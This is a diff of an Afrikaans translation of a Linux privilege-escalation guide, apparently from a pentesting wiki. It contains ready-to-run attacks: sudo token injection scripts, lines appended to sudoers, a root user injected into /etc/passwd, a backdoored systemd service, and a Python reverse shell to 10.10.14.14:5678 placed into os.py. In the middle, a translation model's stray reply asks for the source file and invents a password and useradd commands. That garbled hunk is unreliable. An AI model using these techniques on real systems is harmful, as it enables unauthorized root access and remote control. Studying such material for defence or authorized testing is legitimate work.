-(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of dit permanent maak deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel)
+(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel)
-As al hierdie vereistes vervul is, **kan jy voorregte eskaleer deur:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
+If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om die sudo-token in jou sessie te **aktiveer** (jy kry nie outomaties 'n root-shell nie, doen `sudo su`):
+- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo token in jou sessie te aktiveer** (jy sal nie outomaties 'n root shell kry nie, doen `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
-- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep **wat aan root behoort met setuid**
+- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep **wat deur root besit word met setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
```
-- Die **derde exploit** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo tokens ewig maak en alle gebruikers toelaat om sudo te gebruik**
+- Die **derde exploit** (`exploit_v3.sh`) sal **create a sudoers file** wat **sudo tokens eternal and allows all users to use sudo** maak
```bash
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\
-Indien jy **skryfregte** het in die gids of op enige van die gemaakte lêers binne die gids, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **'n sudo token vir 'n gebruiker en PID te skep**.\
-Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **sudo-regte verkry** sonder om die wagwoord te ken deur dit te doen:
+As jy **write permissions** in die vouer het of op enige van die aangemaakte lêers binne die vouer, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **create a sudo token for a user and PID**.\
+Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **obtain sudo privileges** sonder om die wagwoord te hoef te ken deur:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
-Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` bepaal wie `sudo` kan gebruik en hoe. Hierdie lêers **kan by verstek slegs deur gebruiker root en groep root gelees word**.\
-**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges**
+Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` beheer wie `sudo` kan gebruik en hoe. Hierdie lêers **per verstek slegs deur gebruiker root en groep root gelees kan word**.\
+**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@@ -1054,7 +1054,7 @@ As jy kan skryf, kan jy hierdie toestemming misbruik.
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```
-Nog 'n manier om hierdie toestemmings te misbruik:
+Nog 'n manier om hierdie permissions te misbruik:
```bash
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
@@ -1063,15 +1063,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
-Daar is 'n paar alternatiewe vir die `sudo`-binêre, soos `doas` op OpenBSD. Onthou om sy konfigurasie by `/etc/doas.conf` na te gaan.
+Daar is 'n paar alternatiewe vir die `sudo`-binaire, soos `doas` vir OpenBSD. Onthou om sy konfigurasie by `/etc/doas.conf` te kontroleer.
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
-Indien jy weet dat 'n **user gewoonlik op 'n machine aansluit en `sudo` gebruik** om privileges te eskaleer en jy 'n shell binne daardie user-konteks verkry het, kan jy **'n nuwe sudo-uitvoerbare** skep wat jou kode as root uitvoer en daarna die user se opdrag. Verander dan die **$PATH** van die user-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die user sudo uitvoer, jou sudo-uitvoerbare uitgevoer word.
+As jy weet dat 'n **gebruiker gewoonlik met 'n masjien verbind en `sudo` gebruik** om bevoegdhede te verhoog en jy het 'n shell binne daardie gebruiker-konteks, kan jy **'n nuwe sudo-uitvoerbare lêer skep** wat jou kode as root sal uitvoer en daarna die gebruiker se opdrag. Daarna, **wysig die $PATH** van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare lêer uitgevoer word.
-Let wel dat as die user 'n ander shell gebruik (nie bash nie) jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
+Neem egter kennis dat as die gebruiker 'n ander shell (nie bash nie) gebruik, jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
Of deur iets soos die volgende uit te voer:
```bash
@@ -1092,12 +1092,12 @@ sudo ls
### ld.so
-Die lêer `/etc/ld.so.conf` dui aan **waar die gelaaide konfigurasielêers vandaan kom**. Tipies bevat hierdie lêer die volgende pad: `include /etc/ld.so.conf.d/*.conf`
+Die lêer `/etc/ld.so.conf` dui aan waarheen die gelaaide konfigurasielêers vandaan kom. Gewoonlik bevat hierdie lêer die volgende pad: `include /etc/ld.so.conf.d/*.conf`
-Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gesoek gaan word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel na biblioteke binne `/usr/local/lib` sal soek**.
+Dit beteken dat die konfigurasielêers vanaf `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gaan **gesoek** word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel sal soek na biblioteke binne `/usr/local/lib`**.
-As om een of ander rede **'n gebruiker skryfpermissies het** op enige van die aangeduide paaie: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer wat in die konfigurasielêer `/etc/ld.so.conf.d/*.conf` genoem word, kan hy moontlik privilegies eskaleer.\
-Kyk na **hoe om hierdie wanconfigurasie uit te buit** op die volgende bladsy:
+As om een of ander rede **'n gebruiker skryfpermissies het** op enige van die aangeduide paaie: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer binne `/etc/ld.so.conf.d/*.conf` kan hy moontlik privilegieë verhoog.\
+Kyk na **hoe om hierdie wankonfigurasie uit te buit** op die volgende bladsy:
{{#ref}}
@@ -1115,7 +1115,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
-Deur die lib in `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH`-veranderlike.
+Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos in die `RPATH`-veranderlike gespesifiseer.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@@ -1137,44 +1137,44 @@ setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
-## Capabilities
+## Vermoëns
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\
-Read the following page to **learn more about capabilities and how to abuse them**:
+Lees die volgende bladsy om **meer te leer oor capabilities en hoe om dit te misbruik**:
{{#ref}}
linux-capabilities.md
{{#endref}}
-## Gidspermissies
+## Gids regte
-In 'n gids impliseer die **bit vir "execute"** dat die gebruiker betroffen kan "**cd**" na die vouer.\
-Die **"read"** bit impliseer dat die gebruiker die **lêers** kan **lys**, en die **"write"** bit impliseer dat die gebruiker **lêers kan verwyder** en **nuwe lêers kan skep**.
+In 'n gids impliseer die **bit vir "execute"** dat die betrokke gebruiker met "**cd**" in die vouer kan gaan.\
+Die **"read"** bit impliseer dat die gebruiker die **files** kan **list**, en die **"write"** bit impliseer dat die gebruiker nuwe **files** kan **delete** en **create**.
## ACLs
-Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings wat in staat is om die tradisionele ugo/rwx toestemmings te **oorheers**. Hierdie toestemmings verbeter beheer oor lêer- of gids-toegang deur die toekenning of ontkenning van regte aan spesifieke gebruikers wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **granulariteit verseker meer presiese toegangshantering**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
+Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre permissions, wat in staat is om die tradisionele ugo/rwx permissions te **override**. Hierdie permissions verbeter beheer oor file of directory toegang deur regte aan spesifieke gebruikers toe te staan of te weier wat nie die eienaars is of deel van die groep nie. Hierdie vlak van **granularity verseker meer presiese access management**. Verdere besonderhede is te vinde [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
-**Gee** gebruiker "kali" lees- en skryftoestemmings oor 'n lêer:
+**Give** user "kali" read and write permissions over a file:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
```
-**Kry** lêers met spesifieke ACLs vanaf die stelsel:
+**Kry** lêers met spesifieke ACLs van die stelsel:
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
-## Oop shell sessions
+## Oop shell-sessies
-In **ou weergawes** kan jy **hijack** sommige **shell** session van 'n ander gebruiker (**root**).\
-In **nuutste weergawes** sal jy slegs na **screen** sessions van **jou eie gebruiker** kan **connect**. Jy kan egter **interessante inligting inside the session** vind.
+In **ou weergawes** kan jy moontlik 'n **shell**-sessie van 'n ander gebruiker (**root**) **hijack**.\
+In **die nuutste weergawes** sal jy slegs in staat wees om na screen-sessies van **jou eie gebruiker** te **verbind**. Jy kan egter **interessante inligting binne die sessie** vind.
-### screen sessions hijacking
+### screen sessies hijacking
-**Lys screen sessions**
+**Lys screen sessies**
```bash
screen -ls
screen -ls / # Show another user' screen sessions
@@ -1187,11 +1187,11 @@ screen -dr #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
-## tmux sessions hijacking
+## Oorneem van tmux-sessies
-Dit was 'n probleem met **oue tmux-weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, as 'n nie-bevoorregte gebruiker hijack nie.
+Dit was 'n probleem met **ou tmux-weergawes**. Ek kon nie 'n tmux (v2.1)-sessie wat deur root geskep is, as 'n nie-bevoorregte gebruiker oorneem nie.
-**Lys tmux sessies**
+**Lys tmux-sessies**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@@ -1209,132 +1209,138 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
-Kyk na **Valentine box from HTB** vir ’n voorbeeld.
+Kyk na **Valentine box from HTB** vir 'n voorbeeld.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
-Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, etc) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.\
-Hierdie fout ontstaan wanneer ’n nuwe ssh sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat alle moontlikhede bereken kan word en **met die ssh public key kan jy na die ooreenstemmende private key soek**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, etc) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak word.\
+Hierdie fout gebeur tydens die skep van 'n nuwe ssh key op daardie OS, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh public key kan jy na die ooreenstemmende private key soek**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
-### SSH Interessante konfigurasiewaardes
+### SSH Interessante konfigurasie-waardes
-- **PasswordAuthentication:** Bepaal of password authentication toegelaat word. Die verstek is `no`.
-- **PubkeyAuthentication:** Bepaal of public key authentication toegelaat word. Die verstek is `yes`.
-- **PermitEmptyPasswords**: Wanneer password authentication toegelaat word, bepaal dit of die server login na rekeninge met leë password strings toelaat. Die verstek is `no`.
+- **PasswordAuthentication:** Gee aan of password authentication toegelaat word. Die verstek is `no`.
+- **PubkeyAuthentication:** Gee aan of public key authentication toegelaat word. Die verstek is `yes`.
+- **PermitEmptyPasswords**: Wanneer password authentication toegelaat word, spesifiseer dit of die bediener login na rekeninge met 'n leë wagwoord toelaat. Die verstek is `no`.
### PermitRootLogin
-Bepaal of root kan aanmeld met ssh; die verstek is `no`. Moontlike waardes:
+Gee aan of root kan aanmeld via ssh, die verstek is `no`. Moontlike waardes:
-- `yes`: root kan aanmeld met password en private key
-- `without-password` of `prohibit-password`: root kan slegs met 'n private key aanmeld
-- `forced-commands-only`: root kan slegs aanmeld met 'n private key en indien die commands opsies gespesifiseer is
-- `no`: geen
+- `yes`: root kan aanmeld met wagwoord en private key
+- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private key
+- `forced-commands-only`: Root kan slegs aanmeld met 'n private key en as die commands opsies gespesifiseer is
+- `no`: nie toegelaat nie
### AuthorizedKeysFile
-Bepaal lêers wat die public keys bevat wat vir user authentication gebruik kan word. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die home directory. **Jy kan absolute paths aandui** (begin met `/`) of **relatiewe paths vanaf die gebruiker se home**. Byvoorbeeld:
+Gee lêers aan wat die public keys bevat wat vir user authentication gebruik kan word. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die tuisgids. **Jy kan absolute paaie aandui** (wat begin met `/`) of **relatiewe paaie vanaf die gebruiker se tuisgids**. Byvoorbeeld:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die **private** sleutel van die gebruiker "**testusername**" ssh die publieke sleutel van jou sleutel gaan vergelyk met dié in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access`
+Daardie konfigurasie sal aandui dat as jy probeer om in te teken met die **private** key van die gebruiker "**testusername**" sal ssh die public key van jou key vergelyk met dié wat geleë is in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access`
### ForwardAgent/AllowAgentForwarding
-SSH agent forwarding laat jou toe om jou **use your local SSH keys instead of leaving keys** (without passphrases!) op jou bediener te laat staan. Dus sal jy in staat wees om via ssh na 'n host te jump en van daar na 'n ander host te jump terwyl jy die key gebruik wat op jou initial host geleë is.
+SSH agent forwarding laat jou toe om **use your local SSH keys instead of leaving keys** (without passphrases!) op jou bediener te laat staan. Daarom sal jy in staat wees om via ssh **jump** **to a host** en van daar **jump to another** host **using** die **key** wat in jou **initial host** geleë is.
Jy moet hierdie opsie in `$HOME/.ssh.config` stel soos volg:
```
Host example.com
ForwardAgent yes
```
-Let op dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is).
+Let daarop dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie gasheer toegang tot die sleutels sal hê (wat 'n sekuriteitsrisiko is).
-Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorruil** en hierdie konfigurasie toelaat of weier.\
-Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is dit toegelaat).
+Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorskryf** en hierdie konfigurasie toelaat of ontken.\
+Die lêer `/etc/sshd_config` kan ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` **toelaat** of **weier** (standaard is toelaat).
-As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **jy dit dalk kan misbruik om voorregte te eskaleer**:
+As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**:
{{#ref}}
ssh-forward-agent-exploitation.md
{{#endref}}
-## Interessante lêers
+## Interessante Lêers
### Profiel-lêers
-Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige van hulle kan **skryf of wysig, kan jy voorregte eskaleer**.
+Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige daarvan kan **skryf of wysig, kan jy escalate privileges**.
```bash
ls -l /etc/profile /etc/profile.d/
```
-As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**.
+As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **gevoelige besonderhede**.
### Passwd/Shadow Files
-Afhangende van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al hulle te vind** en **kontroleer of jy dit kan lees** om te sien **of daar hashes** binne die lêers is:
+Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word aanbeveel om **hulle almal te vind** en **te kyk of jy hulle kan lees** om te sien **if there are hashes** in die lêers:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
-In sommige gevalle kan jy **password hashes** binne die `/etc/passwd` (of 'n ekwivalent) lêer vind
+In sommige gevalle kan jy **password hashes** in die `/etc/passwd` (of 'n ekwivalent) lêer vind.
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
### Skryfbaar /etc/passwd
-Eerstens, genereer 'n password met een van die volgende opdragte.
+Eerstens genereer 'n wagwoord met een van die volgende opdragte.
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
-I don't have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the README.md content you want translated.
+Ek het nie die inhoud van src/linux-hardening/privilege-escalation/README.md nie — kan jy asseblief die teks hier plak sodat ek dit na Afrikaans kan vertaal en die verlangde wysiging (voeg gebruiker `hacker` by met die gegenereerde wagwoord) direk in die README kan insluit?
-Also clarify how you want the "add the user `hacker` and add the generated password" represented in the translated file:
-- Should I append a shell command snippet showing how to create the user and set the password (e.g. useradd + echo | chpasswd or chpasswd with sudo)?
-- Or should I insert a plain-text line like "User: hacker, Password: " somewhere in the document?
+In die tussentyd het ek 'n veilige wagwoord vir jou gegenereer wat jy kan gebruik en die presiese opdragte om die gebruiker `hacker` op 'n Linux-stelsel by te voeg:
-I can generate a strong password for you (e.g. 16 chars with letters, digits, symbols) to include in the translated README, but I cannot run commands or actually create the user on your system.
+Gegenereerde wagwoord: Wv9$k7QpL3!bZ2@
+
+Opdragte om gebruiker by te voeg en wagwoord te stel:
+sudo useradd -m -s /bin/bash hacker
+echo 'hacker:Wv9$k7QpL3!bZ2@' | sudo chpasswd
+sudo passwd -e hacker
+
+- Die laaste opdrag dwing die gebruiker om die wagwoord by die eerste aanmelding te verander (opsioneel).
+Plak asseblief die README-inhoud hier, en ek sal dit na Afrikaans vertaal en die sekerlyne vir die nuwe gebruiker daarin insluit.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
-E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
+Byvoorbeeld: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
-Jy kan nou die `su`-opdrag gebruik met `hacker:hacker`
+Jy kan nou die `su` opdrag gebruik met `hacker:hacker`
-Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder wagwoord by te voeg.\
+Alternatiewelik kan jy die volgende lyne gebruik om 'n dummy-gebruiker sonder wagwoord by te voeg.\
WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
-LET WEL: Op BSD-platforms word `/etc/passwd` gevind by `/etc/pwd.db` en `/etc/master.passwd`; ook is `/etc/shadow` hernoem na `/etc/spwd.db`.
+LET WEL: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is `/etc/shadow` hernoem na `/etc/spwd.db`.
-Jy moet nagaan of jy kan **skryf in sommige sensitiewe lêers**. Byvoorbeeld, kan jy skryf na 'n **dienskonfigurasielêer**?
+Jy moet nagaan of jy kan **skryf in sekere sensitiewe lêers**. Byvoorbeeld, kan jy skryf na 'n **dienskonfigurasielêer**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
-Byvoorbeeld, as die masjien 'n **tomcat** server loop en jy kan **die Tomcat dienskonfigurasielêer binne /etc/systemd/ wysig,** dan kan jy die lyne wysig:
+Byvoorbeeld, as die masjien 'n **tomcat** bediener uitvoer en jy kan **die Tomcat dienskonfigurasielêer binne /etc/systemd/,** wysig, dan kan jy die lyne wysig:
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
-Jou backdoor sal uitgevoer word die volgende keer as tomcat gestart word.
+Jou backdoor sal uitgevoer word die volgende keer dat tomcat gestart word.
-### Kontroleer vouers
+### Kontroleer gidse
-Die volgende vouers kan backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer)
+Die volgende gidse kan backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer dit)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
-### Vreemde ligging/Owned lêers
+### Vreemde ligging/Owned files
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@@ -1367,7 +1373,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
-### **Skrip/Binêre lêers in PATH**
+### **Script/Binaries in PATH**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@@ -1383,20 +1389,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
-### Bekende lêers wat passwords bevat
+### Bekende lêers wat wagwoorde bevat
-Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat passwords kan bevat**.\
-**Nog 'n interessante tool** wat jy kan gebruik om dit te doen is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source aansoek is wat gebruik word om baie passwords wat op 'n lokale rekenaar gestoor is uit te haal vir Windows, Linux & Mac.
+Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat wagwoorde kan bevat**.\
+**Nog 'n interessante hulpmiddel** wat jy kan gebruik hiervoor is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, te herstel.
### Logs
-As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin** vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.\
-Ook kan sommige "**bad**" geconfigureerde (backdoored?) **audit logs** jou toelaat om **passwords in audit logs te registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin** vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees (waarskynlik).\
+Ook kan sommige "**sleg**" geconfigureerde (backdoored?) **audit logs** jou toelaat om wagwoorde binne audit logs op te teken soos in hierdie plasing verduidelik: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
-Om logs te lees, sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees.
+Om logs te kan lees, sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees.
### Shell-lêers
```bash
@@ -1409,43 +1415,43 @@ Om logs te lees, sal die groep [**adm**](interesting-groups-linux-pe/index.html#
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
-### Generic Creds Search/Regex
+### Generiese Creds Search/Regex
-Jy moet ook kyk na lêers wat die woord "**password**" in sy **naam** of binne die **inhoud** bevat, en ook kyk vir IPs en emails in logs, of hashes regexps.\
-Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform nagaan.
+Jy moet ook kyk vir lêers wat die woord "**password**" in hul **naam** of binne die **inhoud** bevat, en ook kyk vir IPs en e-posadresse in logs, of hashes regexps.\
+Ek gaan nie hier lys hoe om al hierdie te doen nie maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform nagaan.
## Skryfbare lêers
### Python library hijacking
-As jy weet van **waar** 'n python script uitgevoer gaan word en jy **kan in daardie map skryf** of jy kan **modify python libraries**, kan jy die OS library wysig en backdoor it (as jy kan skryf waar python script uitgevoer gaan word, kopieer en plak die os.py library).
+As jy weet van **waar** 'n python script uitgevoer gaan word en jy **kan daarin skryf** in daardie gids of jy kan **python libraries wysig**, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar python script uitgevoer gaan word, kopieer en plak die os.py library).
-To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT):
+Om **backdoor die library** voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
-### Logrotate exploitation
+### Logrotate-uitbuiting
